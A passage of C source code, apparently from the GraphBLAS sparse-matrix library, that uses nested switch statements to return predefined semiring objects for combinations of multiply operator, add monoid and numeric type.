case GB_INT16_code : return (GxB_ANY_RMINUS_INT16 ) ;
case GB_UINT16_code : return (GxB_ANY_RMINUS_UINT16 ) ;
case GB_INT32_code : return (GxB_ANY_RMINUS_INT32 ) ;
case GB_UINT32_code : return (GxB_ANY_RMINUS_UINT32 ) ;
case GB_INT64_code : return (GxB_ANY_RMINUS_INT64 ) ;
case GB_UINT64_code : return (GxB_ANY_RMINUS_UINT64 ) ;
case GB_FP32_code : return (GxB_ANY_RMINUS_FP32 ) ;
case GB_FP64_code : return (GxB_ANY_RMINUS_FP64 ) ;
default : ;
}
break ;
default : ;
}
break ;
case GB_TIMES_binop_code : // with (5 monoids) x (10 nonboolean types)
switch (add_binop_code)
{
case GB_MIN_binop_code :
switch (zcode)
{
case GB_INT8_code : return (GrB_MIN_TIMES_SEMIRING_INT8 ) ;
case GB_INT16_code : return (GrB_MIN_TIMES_SEMIRING_INT16 ) ;
case GB_INT32_code : return (GrB_MIN_TIMES_SEMIRING_INT32 ) ;
case GB_INT64_code : return (GrB_MIN_TIMES_SEMIRING_INT64 ) ;
case GB_UINT8_code : return (GrB_MIN_TIMES_SEMIRING_UINT8 ) ;
case GB_UINT16_code : return (GrB_MIN_TIMES_SEMIRING_UINT16) ;
case GB_UINT32_code : return (GrB_MIN_TIMES_SEMIRING_UINT32) ;
case GB_UINT64_code : return (GrB_MIN_TIMES_SEMIRING_UINT64) ;
case GB_FP32_code : return (GrB_MIN_TIMES_SEMIRING_FP32 ) ;
case GB_FP64_code : return (GrB_MIN_TIMES_SEMIRING_FP64 ) ;
default : ;
}
break ;
case GB_MAX_binop_code :
switch (zcode)
{
case GB_INT8_code : return (GrB_MAX_TIMES_SEMIRING_INT8 ) ;
case GB_INT16_code : return (GrB_MAX_TIMES_SEMIRING_INT16 ) ;
case GB_INT32_code : return (GrB_MAX_TIMES_SEMIRING_INT32 ) ;
case GB_INT64_code : return (GrB_MAX_TIMES_SEMIRING_INT64 ) ;
case GB_UINT8_code : return (GrB_MAX_TIMES_SEMIRING_UINT8 ) ;
case GB_UINT16_code : return (GrB_MAX_TIMES_SEMIRING_UINT16) ;
case GB_UINT32_code : return (GrB_MAX_TIMES_SEMIRING_UINT32) ;
case GB_UINT64_code : return (GrB_MAX_TIMES_SEMIRING_UINT64) ;
case GB_FP32_code : return (GrB_MAX_TIMES_SEMIRING_FP32 ) ;
case GB_FP64_code : return (GrB_MAX_TIMES_SEMIRING_FP64 ) ;
default : ;
}
break ;
case GB_PLUS_binop_code :
switch (zcode)
{
case GB_INT8_code : return (GrB_PLUS_TIMES_SEMIRING_INT8 ) ;
case GB_INT16_code : return (GrB_PLUS_TIMES_SEMIRING_INT16 ) ;
case GB_INT32_code : return (GrB_PLUS_TIMES_SEMIRING_INT32 ) ;
case GB_INT64_code : return (GrB_PLUS_TIMES_SEMIRING_INT64 ) ;
case GB_UINT8_code : return (GrB_PLUS_TIMES_SEMIRING_UINT8 ) ;
case GB_UINT16_code : return (GrB_PLUS_TIMES_SEMIRING_UINT16) ;
case GB_UINT32_code : return (GrB_PLUS_TIMES_SEMIRING_UINT32) ;
case GB_UINT64_code : return (GrB_PLUS_TIMES_SEMIRING_UINT64) ;
case GB_FP32_code : return (GrB_PLUS_TIMES_SEMIRING_FP32 ) ;
case GB_FP64_code : return (GrB_PLUS_TIMES_SEMIRING_FP64 ) ;
default : ;
}
break ;
case GB_TIMES_binop_code :
switch (zcode)
{
case GB_INT8_code : return (GxB_TIMES_TIMES_INT8 ) ;
case GB_UINT8_code : return (GxB_TIMES_TIMES_UINT8 ) ;
case GB_INT16_code : return (GxB_TIMES_TIMES_INT16 ) ;
case GB_UINT16_code : return (GxB_TIMES_TIMES_UINT16 ) ;
case GB_INT32_code : return (GxB_TIMES_TIMES_INT32 ) ;
case GB_UINT32_code : return (GxB_TIMES_TIMES_UINT32 ) ;
case GB_INT64_code : return (GxB_TIMES_TIMES_INT64 ) ;
case GB_UINT64_code : return (GxB_TIMES_TIMES_UINT64 ) ;
case GB_FP32_code : return (GxB_TIMES_TIMES_FP32 ) ;
case GB_FP64_code : return (GxB_TIMES_TIMES_FP64 ) ;
default : ;
}
break ;
case GB_ANY_binop_code :
switch (zcode)
{
case GB_INT8_code : return (GxB_ANY_TIMES_INT8 ) ;
case GB_UINT8_code : return (GxB_ANY_TIMES_UINT8 ) ;
case GB_INT16_code : return (GxB_ANY_TIMES_INT16 ) ;
case GB_UINT16_code : return (GxB_ANY_TIMES_UINT16 ) ;
case GB_INT32_code : return (GxB_ANY_TIMES_INT32 ) ;
case GB_UINT32_code : return (GxB_ANY_TIMES_UINT32 ) ;
case GB_INT64_code : return (GxB_ANY_TIMES_INT64 ) ;
case GB_UINT64_code : return (GxB_ANY_TIMES_UINT64 ) ;
case GB_FP32_code : return (GxB_ANY_TIMES_FP32 ) ;
case GB_FP64_code : return (GxB_ANY_TIMES_FP64 ) ;
default : ;
}
break ;
default : ;
}
break ;
case GB_DIV_binop_code : // with (5 monoids) x (10 nonboolean types)
switch (add_binop_code)
{
case GB_MIN_binop_code :
switch (zcode)
{
case GB_INT8_code : return (GxB_MIN_DIV_INT8 ) ;
case GB_UINT8_code : return (GxB_MIN_DIV_UINT8 ) ;
case GB_INT16_code : return (GxB_MIN_DIV_INT16 ) ;
case GB_UINT16_code : return (GxB_MIN_DIV_UINT16 ) ;
case GB_INT32_code : return (GxB_MIN_DIV_INT32 ) ;
case GB_UINT32_code : return (GxB_MIN_DIV_UINT32 ) ;
case GB_INT64_code : return (GxB_MIN_DIV_INT64 ) ;
case GB_UINT64_code : return (GxB_MIN_DIV_UINT64 ) ;
case GB_FP32_code : return (GxB_MIN_DIV_FP32 ) ;
case GB_FP64_code : return (GxB_MIN_DIV_FP64 ) ;
default : ;
}
break ;
case GB_MAX_binop_code :
switch (zcode)
{
case GB_INT8_code : return (GxB_MAX_DIV_INT8 ) ;
case GB_UINT8_code : return (GxB_MAX_DIV_UINT8 ) ;
case GB_INT16_code : return (GxB_MAX_DIV_INT16 ) ;
case GB_UINT16_code : return (GxB_MAX_DIV_UINT16 ) ;
case GB_INT32_code : return (GxB_MAX_DIV_INT32 ) ;
case GB_UINT32_code : return (GxB_MAX_DIV_UINT32 ) ;
case GB_INT64_code : return (GxB_MAX_DIV_INT64 ) ;
case GB_UINT64_code : return (GxB_MAX_DIV_UINT64 ) ;
case GB_FP32_code : return (GxB_MAX_DIV_FP32 ) ;
case GB_FP64_code : return (GxB_MAX_DIV_FP64 ) ;
default : ;
}
break ;
case GB_PLUS_binop_code :
switch (zcode)
{
case GB_INT8_code : return (GxB_PLUS_DIV_INT8 ) ;
case GB_UINT8_code : return (GxB_PLUS_DIV_UINT8 ) ;
case GB_INT16_code : return (GxB_PLUS_DIV_INT16 ) ;
case GB_UINT16_code : return (GxB_PLUS_DIV_UINT16 ) ;
case GB_INT32_code : return (GxB_PLUS_DIV_INT32 ) ;
case GB_UINT32_code : return (GxB_PLUS_DIV_UINT32 ) ;
case GB_INT64_code : return (GxB_PLUS_DIV_INT64 ) ;
case GB_UINT64_code : return (GxB_PLUS_DIV_UINT64 ) ;
case GB_FP32_code : return (GxB_PLUS_DIV_FP32 ) ;
case GB_FP64_code : return (GxB_PLUS_DIV_FP64 ) ;
default : ;
}
break ;
case GB_TIMES_binop_code :
switch (zcode)
{
case GB_INT8_code : return (GxB_TIMES_DIV_INT8 ) ;
case GB_UINT8_code : return (GxB_TIMES_DIV_UINT8 ) ;
case GB_INT16_code : return (GxB_TIMES_DIV_INT16 ) ;
case GB_UINT16_code : return (GxB_TIMES_DIV_UINT16 ) ;
case GB_INT32_code : return (GxB_TIMES_DIV_INT32 ) ;
case GB_UINT32_code : return (GxB_TIMES_DIV_UINT32 ) ;
case GB_INT64_code : return (GxB_TIMES_DIV_INT64 ) ;
case GB_UINT64_code : return (GxB_TIMES_DIV_UINT64 ) ;
case GB_FP32_code : return (GxB_TIMES_DIV_FP32 ) ;
case GB_FP64_code : return (GxB_TIMES_DIV_FP64 ) ;
default : ;
}
break ;
case GB_ANY_binop_code :
switch (zcode)
{
case GB_INT8_code : return (GxB_ANY_DIV_INT8 ) ;
case GB_UINT8_code : return (GxB_ANY_DIV_UINT8 ) ;
case GB_INT16_code : return (GxB_ANY_DIV_INT16 ) ;
case GB_UINT16_code : return (GxB_ANY_DIV_UINT16 ) ;
case GB_INT32_code : return (GxB_ANY_DIV_INT32 ) ;
case GB_UINT32_code : return (GxB_ANY_DIV_UINT32 ) ;
case GB_INT64_code : return (GxB_ANY_DIV_INT64 ) ;
case GB_UINT64_code : return (GxB_ANY_DIV_UINT64 ) ;
case GB_FP32_code : return (GxB_ANY_DIV_FP32 ) ;
case GB_FP64_code : return (GxB_ANY_DIV_FP64 ) ;
default : ;
}
break ;
default : ;
}
break ;
case GB_RDIV_binop_code : // with (5 monoids) x (10 nonboolean types)
switch (add_binop_code)
{
case GB_MIN_binop_code :
switch (zcode)
{
case GB_INT8_code : return (GxB_MIN_RDIV_INT8 ) ;
case GB_UINT8_code : return (GxB_MIN_RDIV_UINT8 ) ;
case GB_INT16_code : return (GxB_MIN_RDIV_INT16 ) ;
case GB_UINT16_code : return (GxB_MIN_RDIV_UINT16 ) ;
case GB_INT32_code : return (GxB_MIN_RDIV_INT32 ) ;
case GB_UINT32_code : return (GxB_MIN_RDIV_UINT32 ) ;
case GB_INT64_code : return (GxB_MIN_RDIV_INT64 ) ;
case GB_UINT64_code : return (GxB_MIN_RDIV_UINT64 ) ;
case GB_FP32_code : return (GxB_MIN_RDIV_FP32 ) ;
case GB_FP64_code : return (GxB_MIN_RDIV_FP64 ) ;
default : ;
}
break ;
case GB_MAX_binop_code :
switch (zcode)
{
case GB_INT8_code : return (GxB_MAX_RDIV_INT8 ) ;
case GB_UINT8_code : return (GxB_MAX_RDIV_UINT8 ) ;
case GB_INT16_code : return (GxB_MAX_RDIV_INT16 ) ;
case GB_UINT16_code : return (GxB_MAX_RDIV_UINT16 ) ;
case GB_INT32_code : return (GxB_MAX_RDIV_INT32 ) ;
case GB_UINT32_code : return (GxB_MAX_RDIV_UINT32 ) ;
case GB_INT64_code : return (GxB_MAX_RDIV_INT64 ) ;
case GB_UINT64_code : return (GxB_MAX_RDIV_UINT64 ) ;
case GB_FP32_code : return (GxB_MAX_RDIV_FP32 ) ;
case GB_FP64_code : return (GxB_MAX_RDIV_FP64 ) ;
default : ;
}
break ;
case GB_PLUS_binop_code :
switch (zcode)
{
case GB_INT8_code : return (GxB_PLUS_RDIV_INT8 ) ;
case GB_UINT8_code : return (GxB_PLUS_RDIV_UINT8 ) ;
case GB_INT16_code : return (GxB_PLUS_RDIV_INT16 ) ;
case GB_UINT16_code : return (GxB_PLUS_RDIV_UINT16 ) ;
case GB_INT32_code : return (GxB_PLUS_RDIV_INT32 ) ;
case GB_UINT32_code : return (GxB_PLUS_RDIV_UINT32 ) ;
case GB_INT64_code : return (GxB_PLUS_RDIV_INT64 ) ;
case GB_UINT64_code : return (GxB_PLUS_RDIV_UINT64 ) ;
case GB_FP32_code : return (GxB_PLUS_RDIV_FP32 ) ;
case GB_FP64_code : return (GxB_PLUS_RDIV_FP64 ) ;
default : ;
}
break ;
case GB_TIMES_binop_code :
switch (zcode)
{
case GB_INT8_code : return (GxB_TIMES_RDIV_INT8 ) ;
case GB_UINT8_code : return (GxB_TIMES_RDIV_UINT8 ) ;
case GB_INT16_code : return (GxB_TIMES_RDIV_INT16 ) ;
case GB_UINT16_code : return (GxB_TIMES_RDIV_UINT16 ) ;
case GB_INT32_code : return (GxB_TIMES_RDIV_INT32 ) ;
case GB_UINT32_code : return (GxB_TIMES_RDIV_UINT32 ) ;
case GB_INT64_code : return (GxB_TIMES_RDIV_INT64 ) ;
case GB_UINT64_code : return (GxB_TIMES_RDIV_UINT64 ) ;
case GB_FP32_code : return (GxB_TIMES_RDIV_FP32 ) ;
case GB_FP64_code : return (GxB_TIMES_RDIV_FP64 ) ;
default : ;
}
break ;
case GB_ANY_binop_code :
switch (zcode)
{
case GB_INT8_code : return (GxB_ANY_RDIV_INT8 ) ;
case GB_UINT8_code : return (GxB_ANY_RDIV_UINT8 ) ;
case GB_INT16_code : return (GxB_ANY_RDIV_INT16 ) ;
case GB_UINT16_code : return (GxB_ANY_RDIV_UINT16 ) ;
case GB_INT32_code : return (GxB_ANY_RDIV_INT32 ) ;
case GB_UINT32_code : return (GxB_ANY_RDIV_UINT32 ) ;
case GB_INT64_code : return (GxB_ANY_RDIV_INT64 ) ;
case GB_UINT64_code : return (GxB_ANY_RDIV_UINT64 ) ;
case GB_FP32_code : return (GxB_ANY_RDIV_FP32 ) ;
case GB_FP64_code : return (GxB_ANY_RDIV_FP64 ) ;
default : ;
}
break ;
default : ;
}
break ;
case GB_ISEQ_binop_code : // with (5 monoids) x (10 nonboolean types)
switch (add_binop_code)
{
case GB_MIN_binop_code :
switch (zcode)
{
case GB_INT8_code : return (GxB_MIN_ISEQ_INT8 ) ;
case GB_UINT8_code : return (GxB_MIN_ISEQ_UINT8 ) ;
case GB_INT16_code : return (GxB_MIN_ISEQ_INT16 ) ;
case GB_UINT16_code : return (GxB_MIN_ISEQ_UINT16 ) ;
case GB_INT32_code : return (GxB_MIN_ISEQ_INT32 ) ;
case GB_UINT32_code : return (GxB_MIN_ISEQ_UINT32 ) ;
case GB_INT64_code : return (GxB_MIN_ISEQ_INT64 ) ;
case GB_UINT64_code : return (GxB_MIN_ISEQ_UINT64 ) ;
case GB_FP32_code : return (GxB_MIN_ISEQ_FP32 ) ;
case GB_FP64_code : return (GxB_MIN_ISEQ_FP64 ) ;
default : ;
}
break ;
case GB_MAX_binop_code :
switch (zcode)
{
case GB_INT8_code : return (GxB_MAX_ISEQ_INT8 ) ;
case GB_UINT8_code : return (GxB_MAX_ISEQ_UINT8 ) ;
case GB_INT16_code : return (GxB_MAX_ISEQ_INT16 ) ;
case GB_UINT16_code : return (GxB_MAX_ISEQ_UINT16 ) ;
case GB_INT32_code : return (GxB_MAX_ISEQ_INT32 ) ;
case GB_UINT32_code : return (GxB_MAX_ISEQ_UINT32 ) ;
case GB_INT64_code : return (GxB_MAX_ISEQ_INT64 ) ;
case GB_UINT64_code : return (GxB_MAX_ISEQ_UINT64 ) ;
case GB_FP32_code : return (GxB_MAX_ISEQ_FP32 ) ;
case GB_FP64_code : return (GxB_MAX_ISEQ_FP64 ) ;
default : ;
}
break ;
case GB_PLUS_binop_code :
switch (zcode)
{
case GB_INT8_code : return (GxB_PLUS_ISEQ_INT8 ) ;
case GB_UINT8_code : return (GxB_PLUS_ISEQ_UINT8 ) ;
case GB_INT16_code : return (GxB_PLUS_ISEQ_INT16 ) ;
case GB_UINT16_code : return (GxB_PLUS_ISEQ_UINT16 ) ;
case GB_INT32_code : return (GxB_PLUS_ISEQ_INT32 ) ;
case GB_UINT32_code : return (GxB_PLUS_ISEQ_UINT32 ) ;
case GB_INT64_code : return (GxB_PLUS_ISEQ_INT64 ) ;
case GB_UINT64_code : return (GxB_PLUS_ISEQ_UINT64 ) ;
case GB_FP32_code : return (GxB_PLUS_ISEQ_FP32 ) ;
case GB_FP64_code : return (GxB_PLUS_ISEQ_FP64 ) ;
default : ;
}
break ;
case GB_TIMES_binop_code :
switch (zcode)
{
case GB_INT8_code : return (GxB_TIMES_ISEQ_INT8 ) ;
case GB_UINT8_code : return (GxB_TIMES_ISEQ_UINT8 ) ;
case GB_INT16_code : return (GxB_TIMES_ISEQ_INT16 ) ;
case GB_UINT16_code : return (GxB_TIMES_ISEQ_UINT16 ) ;
case GB_INT32_code : return (GxB_TIMES_ISEQ_INT32 ) ;
case GB_UINT32_code : return (GxB_TIMES_ISEQ_UINT32 ) ;
case GB_INT64_code : return (GxB_TIMES_ISEQ_INT64 ) ;
case GB_UINT64_code : return (GxB_TIMES_ISEQ_UINT64 ) ;
case GB_FP32_code : return (GxB_TIMES_ISEQ_FP32 ) ;
case GB_FP64_code : return (GxB_TIMES_ISEQ_FP64 ) ;
default : ;
}
break ;
case GB_ANY_binop_code :
switch (zcode)
{
case GB_INT8_code : return (GxB_ANY_ISEQ_INT8 ) ;
case GB_UINT8_code : return (GxB_ANY_ISEQ_UINT8 ) ;
case GB_INT16_code : return (GxB_ANY_ISEQ_INT16 ) ;
case GB_UINT16_code : return (GxB_ANY_ISEQ_UINT16 ) ;
case GB_INT32_code : return (GxB_ANY_ISEQ_INT32 ) ;
case GB_UINT32_code : return (GxB_ANY_ISEQ_UINT32 ) ;
case GB_INT64_code : return (GxB_ANY_ISEQ_INT64 ) ;
case GB_UINT64_code : return (GxB_ANY_ISEQ_UINT64 ) ;
case GB_FP32_code : return (GxB_ANY_ISEQ_FP32 ) ;
case GB_FP64_code : return (GxB_ANY_ISEQ_FP64 ) ;
default : ;
}
break ;
default : ;
}
break ;
case GB_ISNE_binop_code : // with (5 monoids) x (10 nonboolean types)
switch (add_binop_code)
{
case GB_MIN_binop_code :
switch (zcode)
{
case GB_INT8_code : return (GxB_MIN_ISNE_INT8 ) ;
case GB_UINT8_code : return (GxB_MIN_ISNE_UINT8 ) ;
case GB_INT16_code : return (GxB_MIN_ISNE_INT16 ) ;
case GB_UINT16_code : return (GxB_MIN_ISNE_UINT16 ) ;
case GB_INT32_code : return (GxB_MIN_ISNE_INT32 ) ;
case GB_UINT32_code : return (GxB_MIN_ISNE_UINT32 ) ;
case GB_INT64_code : return (GxB_MIN_ISNE_INT64 ) ;
case GB_UINT64_code : return (GxB_MIN_ISNE_UINT64 ) ;
case GB_FP32_code : return (GxB_MIN_ISNE_FP32 ) ;
case GB_FP64_code : return (GxB_MIN_ISNE_FP64 ) ;
default : ;
}
break ;
case GB_MAX_binop_code :
switch (zcode)
{
case GB_INT8_code : return (GxB_MAX_ISNE_INT8 ) ;
case GB_UINT8_code : return (GxB_MAX_ISNE_UINT8 ) ;
case GB_INT16_code : return (GxB_MAX_ISNE_INT16 ) ;
case GB_UINT16_code : return (GxB_MAX_ISNE_UINT16 ) ;
case GB_INT32_code : return (GxB_MAX_ISNE_INT32 ) ;
case GB_UINT32_code : return (GxB_MAX_ISNE_UINT32 ) ;
case GB_INT64_code : return (GxB_MAX_ISNE_INT64 ) ;
case GB_UINT64_code : return (GxB_MAX_ISNE_UINT64 ) ;
case GB_FP32_code : return (GxB_MAX_ISNE_FP32 ) ;
case GB_FP64_code : return (GxB_MAX_ISNE_FP64 ) ;
default : ;
}
break ;
case GB_PLUS_binop_code :
switch (zcode)
{
case GB_INT8_code : return (GxB_PLUS_ISNE_INT8 ) ;
case GB_UINT8_code : return (GxB_PLUS_ISNE_UINT8 ) ;
case GB_INT16_code : return (GxB_PLUS_ISNE_INT16 ) ;
case GB_UINT16_code : return (GxB_PLUS_ISNE_UINT16 ) ;
case GB_INT32_code : return (GxB_PLUS_ISNE_INT32 ) ;
case GB_UINT32_code : return (GxB_PLUS_ISNE_UINT32 ) ;
case GB_INT64_code : return (GxB_PLUS_ISNE_INT64 ) ;
case GB_UINT64_code : return (GxB_PLUS_ISNE_UINT64 ) ;
case GB_FP32_code : return (GxB_PLUS_ISNE_FP32 ) ;
case GB_FP64_code : return (GxB_PLUS_ISNE_FP64 ) ;
default : ;
}
break ;
case GB_TIMES_binop_code :
switch (zcode)
{
case GB_INT8_code : return (GxB_TIMES_ISNE_INT8 ) ;
case GB_UINT8_code : return (GxB_TIMES_ISNE_UINT8 ) ;
case GB_INT16_code : return (GxB_TIMES_ISNE_INT16 ) ;
case GB_UINT16_code : return (GxB_TIMES_ISNE_UINT16 ) ;
case GB_INT32_code : return (GxB_TIMES_ISNE_INT32 ) ;
case GB_UINT32_code : return (GxB_TIMES_ISNE_UINT32 ) ;
case GB_INT64_code : return (GxB_TIMES_ISNE_INT64 ) ;
case GB_UINT64_code : return (GxB_TIMES_ISNE_UINT64 ) ;
case GB_FP32_code : return (GxB_TIMES_ISNE_FP32 ) ;
case GB_FP64_code : return (GxB_TIMES_ISNE_FP64 ) ;
default : ;
}
break ;
case GB_ANY_binop_code :
switch (zcode)
{
case GB_INT8_code : return (GxB_ANY_ISNE_INT8 ) ;
case GB_UINT8_code : return (GxB_ANY_ISNE_UINT8 ) ;
case GB_INT16_code : return (GxB_ANY_ISNE_INT16 ) ;
case GB_UINT16_code : return (GxB_ANY_ISNE_UINT16 ) ;
case GB_INT32_code : return (GxB_ANY_ISNE_INT32 ) ;
case GB_UINT32_code : return (GxB_ANY_ISNE_UINT32 ) ;
case GB_INT64_code : return (GxB_ANY_ISNE_INT64 ) ;
case GB_UINT64_code : return (GxB_ANY_ISNE_UINT64 ) ;
case GB_FP32_code : return (GxB_ANY_ISNE_FP32 ) ;
case GB_FP64_code : return (GxB_ANY_ISNE_FP64 ) ;
default : ;
}
break ;
default : ;
}
break ;
case GB_ISGT_binop_code : // with (5 monoids) x (10 nonboolean types)
switch (add_binop_code)
{
case GB_MIN_binop_code :
switch (zcode)
{
case GB_INT8_code : return (GxB_MIN_ISGT_INT8 ) ;
case GB_UINT8_code : return (GxB_MIN_ISGT_UINT8 ) ;
case GB_INT16_code : return (GxB_MIN_ISGT_INT16 ) ;
case GB_UINT16_code : return (GxB_MIN_ISGT_UINT16 ) ;
case GB_INT32_code : return (GxB_MIN_ISGT_INT32 ) ;
case GB_UINT32_code : return (GxB_MIN_ISGT_UINT32 ) ;
case GB_INT64_code : return (GxB_MIN_ISGT_INT64 ) ;
case GB_UINT64_code : return (GxB_MIN_ISGT_UINT64 ) ;
case GB_FP32_code : return (GxB_MIN_ISGT_FP32 ) ;
case GB_FP64_code : return (GxB_MIN_ISGT_FP64 ) ;
default : ;
}
break ;
case GB_MAX_binop_code :
switch (zcode)
{
case GB_INT8_code : return (GxB_MAX_ISGT_INT8 ) ;
case GB_UINT8_code : return (GxB_MAX_ISGT_UINT8 ) ;
case GB_INT16_code : return (GxB_MAX_ISGT_INT16 ) ;
case GB_UINT16_code : return (GxB_MAX_ISGT_UINT16 ) ;
case GB_INT32_code : return (GxB_MAX_ISGT_INT32 ) ;
case GB_UINT32_code : return (GxB_MAX_ISGT_UINT32 ) ;
case GB_INT64_code : return (GxB_MAX_ISGT_INT64 ) ;
case GB_UINT64_code : return (GxB_MAX_ISGT_UINT64 ) ;
case GB_FP32_code : return (GxB_MAX_ISGT_FP32 ) ;
case GB_FP64_code : return (GxB_MAX_ISGT_FP64 ) ;
default : ;
}
break ;
case GB_PLUS_binop_code :
switch (zcode)
{
case GB_INT8_code : return (GxB_PLUS_ISGT_INT8 ) ;
case GB_UINT8_code : return (GxB_PLUS_ISGT_UINT8 ) ;
case GB_INT16_code : return (GxB_PLUS_ISGT_INT16 ) ;
case GB_UINT16_code : return (GxB_PLUS_ISGT_UINT16 ) ;
case GB_INT32_code : return (GxB_PLUS_ISGT_INT32 ) ;
case GB_UINT32_code : return (GxB_PLUS_ISGT_UINT32 ) ;
case GB_INT64_code : return (GxB_PLUS_ISGT_INT64 ) ;
case GB_UINT64_code : return (GxB_PLUS_ISGT_UINT64 ) ;
case GB_FP32_code : return (GxB_PLUS_ISGT_FP32 ) ;
case GB_FP64_code : return (GxB_PLUS_ISGT_FP64 ) ;
default : ;
}
break ;
case GB_TIMES_binop_code :
switch (zcode)
{
case GB_INT8_code : return (GxB_TIMES_ISGT_INT8 ) ;
case GB_UINT8_code : return (GxB_TIMES_ISGT_UINT8 ) ;
case GB_INT16_code : return (GxB_TIMES_ISGT_INT16 ) ;
case GB_UINT16_code : return (GxB_TIMES_ISGT_UINT16 ) ;
case GB_INT32_code : return (GxB_TIMES_ISGT_INT32 ) ;
case GB_UINT32_code : return (GxB_TIMES_ISGT_UINT32 ) ;
case GB_INT64_code : return (GxB_TIMES_ISGT_INT64 ) ;
case GB_UINT64_code : return (GxB_TIMES_ISGT_UINT64 ) ;
case GB_FP32_code : return (GxB_TIMES_ISGT_FP32 ) ;
case GB_FP64_code : return (GxB_TIMES_ISGT_FP64 ) ;
default : ;
}
break ;
case GB_ANY_binop_code :
switch (zcode)
{
case GB_INT8_code : return (GxB_ANY_ISGT_INT8 ) ;
case GB_UINT8_code : return (GxB_ANY_ISGT_UINT8 ) ;
case GB_INT16_code : return (GxB_ANY_ISGT_INT16 ) ;
case GB_UINT16_code : return (GxB_ANY_ISGT_UINT16 ) ;
case GB_INT32_code : return (GxB_ANY_ISGT_INT32 ) ;
case GB_UINT32_code : return (GxB_ANY_ISGT_UINT32 ) ;
case GB_INT64_code : return (GxB_ANY_ISGT_INT64 ) ;
case GB_UINT64_code : return (GxB_ANY_ISGT_UINT64 ) ;
case GB_FP32_code : return (GxB_ANY_ISGT_FP32 ) ;
case GB_FP64_code : return (GxB_ANY_ISGT_FP64 ) ;
default : ;
}
break ;
default : ;
}
break ;
case GB_ISLT_binop_code : // with (5 monoids) x (10 nonboolean types)
switch (add_binop_code)
{
case GB_MIN_binop_code :
switch (zcode)
{
case GB_INT8_code : return (GxB_MIN_ISLT_INT8 ) ;
case GB_UINT8_code : return (GxB_MIN_ISLT_UINT8 ) ;
case GB_INT16_code : return (GxB_MIN_ISLT_INT16 ) ;
case GB_UINT16_code : return (GxB_MIN_ISLT_UINT16 ) ;
case GB_INT32_code : return (GxB_MIN_ISLT_INT32 ) ;
case GB_UINT32_code : return (GxB_MIN_ISLT_UINT32 ) ;
case GB_INT64_code : return (GxB_MIN_ISLT_INT64 ) ;
case GB_UINT64_code : return (GxB_MIN_ISLT_UINT64 ) ;
case GB_FP32_code : return (GxB_MIN_ISLT_FP32 ) ;
case GB_FP64_code : return (GxB_MIN_ISLT_FP64 ) ;
default : ;
}
break ;
case GB_MAX_binop_code :
switch (zcode)
{
case GB_INT8_code : return (GxB_MAX_ISLT_INT8 ) ;
case GB_UINT8_code : return (GxB_MAX_ISLT_UINT8 ) ;
case GB_INT16_code : return (GxB_MAX_ISLT_INT16 ) ;
case GB_UINT16_code : return (GxB_MAX_ISLT_UINT16 ) ;
case GB_INT32_code : return (GxB_MAX_ISLT_INT32 ) ;
case GB_UINT32_code : return (GxB_MAX_ISLT_UINT32 ) ;
case GB_INT64_code : return (GxB_MAX_ISLT_INT64 ) ;
case GB_UINT64_code : return (GxB_MAX_ISLT_UINT64 ) ;
case GB_FP32_code : return (GxB_MAX_ISLT_FP32 ) ;
case GB_FP64_code : return (GxB_MAX_ISLT_FP64 ) ;
default : ;
}
break ;
case GB_PLUS_binop_code :
switch (zcode)
{
case GB_INT8_code : return (GxB_PLUS_ISLT_INT8 ) ;
case GB_UINT8_code : return (GxB_PLUS_ISLT_UINT8 ) ;
case GB_INT16_code : return (GxB_PLUS_ISLT_INT16 ) ;
case GB_UINT16_code : return (GxB_PLUS_ISLT_UINT16 ) ;
case GB_INT32_code : return (GxB_PLUS_ISLT_INT32 ) ;
case GB_UINT32_code : return (GxB_PLUS_ISLT_UINT32 ) ;
case GB_INT64_code : return (GxB_PLUS_ISLT_INT64 ) ;
case GB_UINT64_code : return (GxB_PLUS_ISLT_UINT64 ) ;
case GB_FP32_code : return (GxB_PLUS_ISLT_FP32 ) ;
case GB_FP64_code : return (GxB_PLUS_ISLT_FP64 ) ;
default : ;
}
break ;
case GB_TIMES_binop_code :
switch (zcode)
{
case GB_INT8_code : return (GxB_TIMES_ISLT_INT8 ) ;
case GB_UINT8_code : return (GxB_TIMES_ISLT_UINT8 ) ;
case GB_INT16_code : return (GxB_TIMES_ISLT_INT16 ) ;
case GB_UINT16_code : return (GxB_TIMES_ISLT_UINT16 ) ;
case GB_INT32_code : return (GxB_TIMES_ISLT_INT32 ) ;
case GB_UINT32_code : return (GxB_TIMES_ISLT_UINT32 ) ;
case GB_INT64_code : return (GxB_TIMES_ISLT_INT64 ) ;
case GB_UINT64_code : return (GxB_TIMES_ISLT_UINT64 ) ;
case GB_FP32_code : return (GxB_TIMES_ISLT_FP32 ) ;
case GB_FP64_code : return (GxB_TIMES_ISLT_FP64 ) ;
default : ;
}
break ;
case GB_ANY_binop_code :
switch (zcode)
{
case GB_INT8_code : return (GxB_ANY_ISLT_INT8 ) ;
case GB_UINT8_code : return (GxB_ANY_ISLT_UINT8 ) ;
case GB_INT16_code : return (GxB_ANY_ISLT_INT16 ) ;
case GB_UINT16_code : return (GxB_ANY_ISLT_UINT16 ) ;
case GB_INT32_code : return (GxB_ANY_ISLT_INT32 ) ;
case GB_UINT32_code : return (GxB_ANY_ISLT_UINT32 ) ;
case GB_INT64_code : return (GxB_ANY_ISLT_INT64 ) ;
case GB_UINT64_code : return (GxB_ANY_ISLT_UINT64 ) ;
case GB_FP32_code : return (GxB_ANY_ISLT_FP32 ) ;
case GB_FP64_code : return (GxB_ANY_ISLT_FP64 ) ;
default : ;
}
break ;
default : ;
}
break ;
case GB_ISGE_binop_code : // with (5 monoids) x (10 nonboolean types)
switch (add_binop_code)
{
case GB_MIN_binop_code :
switch (zcode)
{
case GB_INT8_code : return (GxB_MIN_ISGE_INT8 ) ;
case GB_UINT8_code : return (GxB_MIN_ISGE_UINT8 ) ;
case GB_INT16_code : return (GxB_MIN_ISGE_INT16 ) ;
case GB_UINT16_code : return (GxB_MIN_ISGE_UINT16 ) ;
case GB_INT32_code : return (GxB_MIN_ISGE_INT32 ) ;
case GB_UINT32_code : return (GxB_MIN_ISGE_UINT32 ) ;
case GB_INT64_code : return (GxB_MIN_ISGE_INT64 ) ;
case GB_UINT64_code : return (GxB_MIN_ISGE_UINT64 ) ;
case GB_FP32_code : return (GxB_MIN_ISGE_FP32 ) ;
case GB_FP64_code : return (GxB_MIN_ISGE_FP64 ) ;
default : ;
}
break ;
case GB_MAX_binop_code :
switch (zcode)
{
case GB_INT8_code : return (GxB_MAX_ISGE_INT8 ) ;
case GB_UINT8_code : return (GxB_MAX_ISGE_UINT8 ) ;
